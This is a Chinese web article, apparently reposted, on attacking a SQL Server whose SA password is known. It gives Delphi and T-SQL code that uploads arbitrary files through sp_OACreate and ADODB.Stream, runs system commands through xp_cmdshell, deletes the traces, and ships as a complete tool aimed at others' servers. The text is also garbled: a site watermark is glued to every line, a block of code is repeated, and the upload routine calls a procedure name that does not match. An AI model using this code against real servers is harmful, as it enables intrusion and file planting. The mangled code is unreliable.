您现在的位置:首页 > 网络学院 > 组网方案 > 服务器专栏 > 黑客基地利用SQLSERVER远程上传文件的实现
黑客基地利用SQLSERVER远程上传文件的实现
2012-01-12 11:41:56  来源:  作者:  网友评论

 我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方- 中国路由网-网络爱好者的家 routeros 海蜘蛛 流控大师 m0n0wall ( www.router.net.cn)  nmn中国路由网

服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,nmn中国路由网
赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。nmn中国路由网
写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据nmn中国路由网
比如文本,整型,二进制等数据。nmn中国路由网
在这里通过SQL SERVER服务器远程上传文件的思路就是,nmn中国路由网
1、先通过SQL语句,在对方服务器上创建一临时表,nmn中国路由网
下面是创建临时表的过程:nmn中国路由网
procedure Create_temptable;nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');nmn中国路由网
query1.SQL.Add('drop table [dbo].[temptable]');nmn中国路由网
query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');nmn中国路由网
query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');nmn中国路由网
query1.SQL.Add('[ny] [image] NULL');nmn中国路由网
query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。nmn中国路由网
2、往临时表内插入文件nmn中国路由网
procedure insert_file(filename:string);nmn中国路由网
varnmn中国路由网
openfile:tfilestream;nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
openfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流nmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');nmn中国路由网
query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);nmn中国路由网
query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);nmn中国路由网
query1.ExecSQL;nmn中国路由网
finallynmn中国路由网
freeandnil(openfile);nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,nmn中国路由网
这样就达到了将文件上传到服务器的目的。nmn中国路由网
我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,nmn中国路由网
它的作用就是从临时表内读出数据并保存为文件nmn中国路由网
下面的过程就是通过SQL语句在服务器上面创建存储过程。nmn中国路由网
procedure Create_proc; //创建保存文件存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名nmn中国路由网
query1.SQL.Add('as');nmn中国路由网
query1.SQL.Add('begin');nmn中国路由网
query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度nmn中国路由网
query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据nmn中国路由网
query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');nmn中国路由网
query1.SQL.Add('declare @filename varchar(200)');nmn中国路由网
query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');nmn中国路由网
query1.SQL.Add('set @sql=''select * from temptable''');nmn中国路由网
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');nmn中国路由网
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Streamnmn中国路由网
OUT');// --建立数据流nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--/写状态nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流nmn中国路由网
query1.SQL.Add('set @i=0');nmn中国路由网
query1.SQL.Add('while @Len > @i');// --循环写入数据nmn中国路由网
query1.SQL.Add('begin');nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流nmn中国路由网
query1.SQL.Add('set @i=@i+8000');nmn中国路由网
query1.SQL.Add('end');nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据nmn中国路由网
// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件nmn中国路由网
query1.SQL.Add('exec sp_OADestroy @myRecordset');nmn中国路由网
query1.SQL.Add('exec sp_OADestroy @Stream');nmn中国路由网
query1.SQL.Add('select output=''命令成功''');nmn中国路由网
query1.SQL.Add('end');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
?nmn中国路由网
4、保存文件的存储过程我们也建好了,nmn中国路由网
也到了执行它的时候了....nmn中国路由网
下面这个过程是用来执行存储过程的nmn中国路由网
procedure Create_file; //执行存储过程创建文件nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('exec SCOFIELD'); //执行存储过程nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
执行完存储过程后,我们的文件就己经上传OK啦,nmn中国路由网
不过不擦屁股可不是好习惯,nmn中国路由网
我们还应该删除刚才创建的临时表和存储过程。nmn中国路由网
删除临时表的过程:nmn中国路由网
procedure Del_temptable; //删除临时表nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');nmn中国路由网
query1.SQL.Add('drop table [dbo].[temptable]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
删除存储过程的过程:nmn中国路由网
procedure del_proc;nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');nmn中国路由网
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
?nmn中国路由网
大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。nmn中国路由网
上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。nmn中国路由网
下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,nmn中国路由网
其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,nmn中国路由网
通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,nmn中国路由网
通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,nmn中国路由网
像这样:nmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);nmn中国路由网
query1.open;nmn中国路由网
一条SQL语句搞定。nmn中国路由网
如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。nmn中国路由网
如果有删除它就行了,不会有nmn中国路由网
什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。nmn中国路由网
?nmn中国路由网
为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。nmn中国路由网
下面是查询器的源代码:nmn中国路由网
unit Unit1;nmn中国路由网
//------------------------------------------------------------------------------nmn中国路由网
// Author : SCOFIELD QQ:19154194nmn中国路由网
// UpDate : 2009-05-20nmn中国路由网
// Name : SCOFIELD SQL 查询器nmn中国路由网
// Version : 1.0.0.0nmn中国路由网
//------------------------------------------------------------------------------nmn中国路由网
interfacenmn中国路由网
usesnmn中国路由网
Windows, Messages, SysUtils, Forms,nmn中国路由网
StdCtrls, DB, ADODB, DBGridEh,xpman,nmn中国路由网
DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;nmn中国路由网
typenmn中国路由网
TForm1 = class(TForm)nmn中国路由网
Label1: TLabel;nmn中国路由网
Button1: TButton;nmn中国路由网
memo1: TMemo;nmn中国路由网
con1: TADOConnection;nmn中国路由网
Query1: TADOQuery;nmn中国路由网
GroupBox1: TGroupBox;nmn中国路由网
GroupBox2: TGroupBox;nmn中国路由网
GroupBox3: TGroupBox;nmn中国路由网
DBGridEh1: TDBGridEh;nmn中国路由网
Panel1: TPanel;nmn中国路由网
Button2: TButton;nmn中国路由网
Button3: TButton;nmn中国路由网
Button4: TButton;nmn中国路由网
DataSource1: TDataSource;nmn中国路由网
Button5: TButton;nmn中国路由网
Button6: TButton;nmn中国路由网
Open1: TOpenDialog;nmn中国路由网
Edit1: TEdit;nmn中国路由网
Label2: TLabel;nmn中国路由网
Label3: TLabel;nmn中国路由网
ComboBox1: TComboBox;nmn中国路由网
ComboBox2: TComboBox;nmn中国路由网
Query2: TADOQuery;nmn中国路由网
Button7: TButton;nmn中国路由网
SaveDialog1: TSaveDialog;nmn中国路由网
procedure Button1Click(Sender: TObject);nmn中国路由网
procedure Button2Click(Sender: TObject);nmn中国路由网
procedure Button5Click(Sender: TObject);nmn中国路由网
procedure Button3Click(Sender: TObject);nmn中国路由网
procedure Button4Click(Sender: TObject);nmn中国路由网
procedure Button6Click(Sender: TObject);nmn中国路由网
procedure Create_temptable; //创建临时表nmn中国路由网
procedure Del_temptable;nmn中国路由网
procedure insert_file(filename:string); //插入文件nmn中国路由网
procedure Create_file; //创建文件nmn中国路由网
procedure Create_proc;nmn中国路由网
procedure del_proc;nmn中国路由网
procedure Button7Click(Sender: TObject);nmn中国路由网
procedure ComboBox1Change(Sender: TObject);nmn中国路由网
procedure FormCreate(Sender: TObject); //删除存储过程。nmn中国路由网
privatenmn中国路由网
{ Private declarations }nmn中国路由网
publicnmn中国路由网
{ Public declarations }nmn中国路由网
end;nmn中国路由网
varnmn中国路由网
Form1: TForm1;nmn中国路由网
ip,name,pwd,sql,table:string;nmn中国路由网
implementationnmn中国路由网
{$R *.dfm}nmn中国路由网
procedure TForm1.Button1Click(Sender: TObject);nmn中国路由网
beginnmn中国路由网
if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;nmn中国路由网
//查询时显示列头标题nmn中国路由网
DBGridEh1.Options:=DBGridEh1.Options+[dgTitles] ;nmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
if trim(memo1.Lines.Text)='' then beginnmn中国路由网
if (combobox1.Text<>'表名') and (combobox1.text<>'') then beginnmn中国路由网
if (combobox2.text<>'字段名') and (combobox2.Text<>'') thennmn中国路由网
sql:='select '+combobox2.Text+' from '+combobox1.Textnmn中国路由网
elsenmn中国路由网
sql:='select * from '+combobox1.Text;nmn中国路由网
end;nmn中国路由网
endnmn中国路由网
elsenmn中国路由网
beginnmn中国路由网
sql:=memo1.Lines.Text;nmn中国路由网
end;nmn中国路由网
query1.SQL.Add(sql);nmn中国路由网
query1.OPEN;nmn中国路由网
if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure TForm1.Button2Click(Sender: TObject);nmn中国路由网
beginnmn中国路由网
if (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;nmn中国路由网
trynmn中国路由网
sql:=memo1.Lines.Text;nmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add(sql);nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
application.MessageBox ('执行成功','执行成功',mb_ok);nmn中国路由网
end;nmn中国路由网
procedure TForm1.Button5Click(Sender: TObject);nmn中国路由网
varnmn中国路由网
constr:string;nmn中国路由网
i:integer;nmn中国路由网
TableList:TStringList;nmn中国路由网
beginnmn中国路由网
TableList:=Tstringlist.Create;nmn中国路由网
constr:=PromptDataSource(Handle,'');nmn中国路由网
if constr='' then beginnmn中国路由网
button1.Enabled:=false;nmn中国路由网
button2.Enabled:=false;nmn中国路由网
button3.Enabled:=false;nmn中国路由网
button6.Enabled:=false;nmn中国路由网
exit;nmn中国路由网
endnmn中国路由网
elsenmn中国路由网
beginnmn中国路由网
if pos('SQLOLEDB',constr)<>0 then begin //如果为SQLSEVER,则显示上传按钮nmn中国路由网
button3.Enabled:=true;nmn中国路由网
button6.Enabled:=true;nmn中国路由网
endnmn中国路由网
elsenmn中国路由网
beginnmn中国路由网
button3.Enabled:=false;nmn中国路由网
button6.Enabled:=false;nmn中国路由网
end;nmn中国路由网
button1.Enabled:=true;nmn中国路由网
button2.Enabled:=true;nmn中国路由网
end;nmn中国路由网
edit1.Text:=constr;nmn中国路由网
trynmn中国路由网
con1.Close;nmn中国路由网
query1.Close;nmn中国路由网
con1.ConnectionString:=constr;nmn中国路由网
con1.Open;nmn中国路由网
query1.Connection:=con1;nmn中国路由网
application.MessageBox ('连接成功','连接成功',mb_ok);nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 ))nmn中国路由网
end;nmn中国路由网
//下面开始检测表名nmn中国路由网
con1.GetTableNames(TableList,false);nmn中国路由网
combobox1.Items.Clear;nmn中国路由网
combobox1.Items.AddStrings(Tablelist);nmn中国路由网
combobox1.Text:='表名';nmn中国路由网
combobox2.Items.Clear;nmn中国路由网
combobox2.Text:='字段名';nmn中国路由网
end;nmn中国路由网
procedure TForm1.Button3Click(Sender: TObject);nmn中国路由网
beginnmn中国路由网
DBGridEh1.Options:=DBGridEh1.Options-[dgTitles] ;nmn中国路由网
trynmn中国路由网
sql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';nmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add(sql);nmn中国路由网
query1.open;nmn中国路由网
if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
?nmn中国路由网
?nmn中国路由网
end;nmn中国路由网
procedure TForm1.Button4Click(Sender: TObject);nmn中国路由网
beginnmn中国路由网
memo1.Text:='';nmn中国路由网
end;nmn中国路由网
//上传文件到服务器nmn中国路由网
procedure TForm1.Button6Click(Sender: TObject);nmn中国路由网
beginnmn中国路由网
if not open1.Execute then exit;nmn中国路由网
//下面创建临时表nmn中国路由网
self.Create_temptable;nmn中国路由网
self.Create_proc; //创建存储过程nmn中国路由网
self.insert_file(open1.FileName); //插入文件nmn中国路由网
self.Create_file; //执行存储过程,下载文件nmn中国路由网
self.Del_temptable; //删除临时表nmn中国路由网
self.del_proc; //删除存储过程。nmn中国路由网
end;nmn中国路由网
procedure Tform1.Create_temptable; //创建临时表nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');nmn中国路由网
query1.SQL.Add('drop table [dbo].[temptable]');nmn中国路由网
query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');nmn中国路由网
query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');nmn中国路由网
query1.SQL.Add('[ny] [image] NULL');nmn中国路由网
query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
ennmn中国路由网
d;nmn中国路由网
end;nmn中国路由网
procedure Tform1.Del_temptable; //删除临时表nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');nmn中国路由网
query1.SQL.Add('drop table [dbo].[temptable]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
on e:exception donmn中国路由网
raise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure tform1.insert_file(filename:string); //插入文件nmn中国路由网
varnmn中国路由网
openfile:tfilestream;nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
openfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开;nmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');nmn中国路由网
query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);nmn中国路由网
query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);nmn中国路由网
query1.ExecSQL;nmn中国路由网
finallynmn中国路由网
freeandnil(openfile);nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure Tform1.Create_proc; //创建存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.SQL.Add('CREATE PROCEDURE SCOFIELD');nmn中国路由网
query1.SQL.Add('as');nmn中国路由网
query1.SQL.Add('begin');nmn中国路由网
query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度nmn中国路由网
query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据nmn中国路由网
query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');nmn中国路由网
query1.SQL.Add('declare @filename varchar(200)');nmn中国路由网
query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');nmn中国路由网
query1.SQL.Add('set @sql=''select * from temptable''');nmn中国路由网
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出文件名nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');nmn中国路由网
query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--/写状态nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流nmn中国路由网
query1.SQL.Add('set @i=0');nmn中国路由网
query1.SQL.Add('while @Len > @i');// --循环写入数据nmn中国路由网
query1.SQL.Add('begin');nmn中国路由网
query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流nmn中国路由网
query1.SQL.Add('set @i=@i+8000');nmn中国路由网
query1.SQL.Add('end');nmn中国路由网
query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据nmn中国路由网
// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径nmn中国路由网
query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--另存为文件nmn中国路由网
query1.SQL.Add('exec sp_OADestroy @myRecordset');nmn中国路由网
query1.SQL.Add('exec sp_OADestroy @Stream');nmn中国路由网
query1.SQL.Add('select output=''命令成功''');nmn中国路由网
query1.SQL.Add('end');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure TForm1.Create_file; //创建文件 ,执行存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('exec cf');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure Tform1.del_proc; //删除存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');nmn中国路由网
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
?nmn中国路由网
//将查询出来的数据保存为EXCEL表格nmn中国路由网
procedure TForm1.Button7Click(Sender: TObject);nmn中国路由网
varnmn中国路由网
ExcelName:string;nmn中国路由网
beginnmn中国路由网
if DBGridEh1.RowCount<=1 then exit;nmn中国路由网
SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';nmn中国路由网
if (combobox1.Text<>'表名') and (combobox1.Text<>'') thennmn中国路由网
SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';nmn中国路由网
if SaveDialog1.Execute then beginnmn中国路由网
ExcelName:=SaveDialog1.FileName+'.XLS';nmn中国路由网
IF length(excelname)>0 THEN beginnmn中国路由网
SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);nmn中国路由网
application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure TForm1.ComboBox1Change(Sender: TObject);nmn中国路由网
var tablename:string;nmn中国路由网
flist:Tstringlist;nmn中国路由网
beginnmn中国路由网
if combobox1.Text='' then exit;nmn中国路由网
tablename:=combobox1.Text;nmn中国路由网
if tablename='表名' then exit;nmn中国路由网
query2.Connection:=con1;nmn中国路由网
query2.Close;nmn中国路由网
query2.SQL.Clear;nmn中国路由网
query2.SQL.Add('select top 1 * from '+tablename);nmn中国路由网
query2.Open;nmn中国路由网
flist:=Tstringlist.Create;nmn中国路由网
//下面检测字段名nmn中国路由网
query2.GetFieldNames(flist);nmn中国路由网
combobox2.Items.Clear;nmn中国路由网
combobox2.Items.AddStrings(flist);nmn中国路由网
end;nmn中国路由网
procedure TForm1.FormCreate(Sender: TObject);nmn中国路由网
beginnmn中国路由网
button1.Enabled:=false;nmn中国路由网
button2.Enabled:=false;nmn中国路由网
button3.Enabled:=false;nmn中国路由网
button6.Enabled:=false;nmn中国路由网
button7.Enabled:=false;nmn中国路由网
end;nmn中国路由网
end.nmn中国路由网
程序中使用了DBGridEh控件,请自行下载,nmn中国路由网
程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。nmn中国路由网
此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,nmn中国路由网
并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。nmn中国路由网
其中nmn中国路由网
COMMAND是用来执行DOS命令的,nmn中国路由网
Upload File是用来上传文件到对方SQL SERVER服务器的.nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure TForm1.Create_file; //创建文件 ,执行存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('exec cf');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure Tform1.del_proc; //删除存储过程。nmn中国路由网
beginnmn中国路由网
trynmn中国路由网
query1.Close;nmn中国路由网
query1.SQL.Clear;nmn中国路由网
query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');nmn中国路由网
query1.sql.Add('drop procedure [dbo].[SCOFIELD]');nmn中国路由网
query1.ExecSQL;nmn中国路由网
exceptnmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
?nmn中国路由网
//将查询出来的数据保存为EXCEL表格nmn中国路由网
procedure TForm1.Button7Click(Sender: TObject);nmn中国路由网
varnmn中国路由网
ExcelName:string;nmn中国路由网
beginnmn中国路由网
if DBGridEh1.RowCount<=1 then exit;nmn中国路由网
SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';nmn中国路由网
if (combobox1.Text<>'表名') and (combobox1.Text<>'') thennmn中国路由网
SaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';nmn中国路由网
if SaveDialog1.Execute then beginnmn中国路由网
ExcelName:=SaveDialog1.FileName+'.XLS';nmn中国路由网
IF length(excelname)>0 THEN beginnmn中国路由网
SaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);nmn中国路由网
application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
end;nmn中国路由网
procedure TForm1.ComboBox1Change(Sender: TObject);nmn中国路由网
var tablename:string;nmn中国路由网
flist:Tstringlist;nmn中国路由网
beginnmn中国路由网
if combobox1.Text='' then exit;nmn中国路由网
tablename:=combobox1.Text;nmn中国路由网
if tablename='表名' then exit;nmn中国路由网
query2.Connection:=con1;nmn中国路由网
query2.Close;nmn中国路由网
query2.SQL.Clear;nmn中国路由网
query2.SQL.Add('select top 1 * from '+tablename);nmn中国路由网
query2.Open;nmn中国路由网
flist:=Tstringlist.Create;nmn中国路由网
//下面检测字段名nmn中国路由网
query2.GetFieldNames(flist);nmn中国路由网
combobox2.Items.Clear;nmn中国路由网
combobox2.Items.AddStrings(flist);nmn中国路由网
end;nmn中国路由网
procedure TForm1.FormCreate(Sender: TObject);nmn中国路由网
beginnmn中国路由网
button1.Enabled:=false;nmn中国路由网
button2.Enabled:=false;nmn中国路由网
button3.Enabled:=false;nmn中国路由网
button6.Enabled:=false;nmn中国路由网
button7.Enabled:=false;nmn中国路由网
end;nmn中国路由网
end.nmn中国路由网
程序中使用了DBGridEh控件,请自行下载,nmn中国路由网
程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。nmn中国路由网
此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,nmn中国路由网
并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。nmn中国路由网
其中nmn中国路由网
COMMAND是用来执行DOS命令的,nmn中国路由网
Upload File是用来上传文件到对方SQL SERVER服务器的.nmn中国路由网
此试验本要没有对它进行验证/希望广大爱好者可以去尝试一下,我是偶然在网上发现的就拿过来与大伙一起分享一下!nmn中国路由网
nmn中国路由网


相关文章列表
  • 用户名:
  • 验证码: 看不到图片?点击刷新验证码。
  • 匿名发表
评论总数:[ 查看全部 ] 网友评论 热门评论
阅读排行
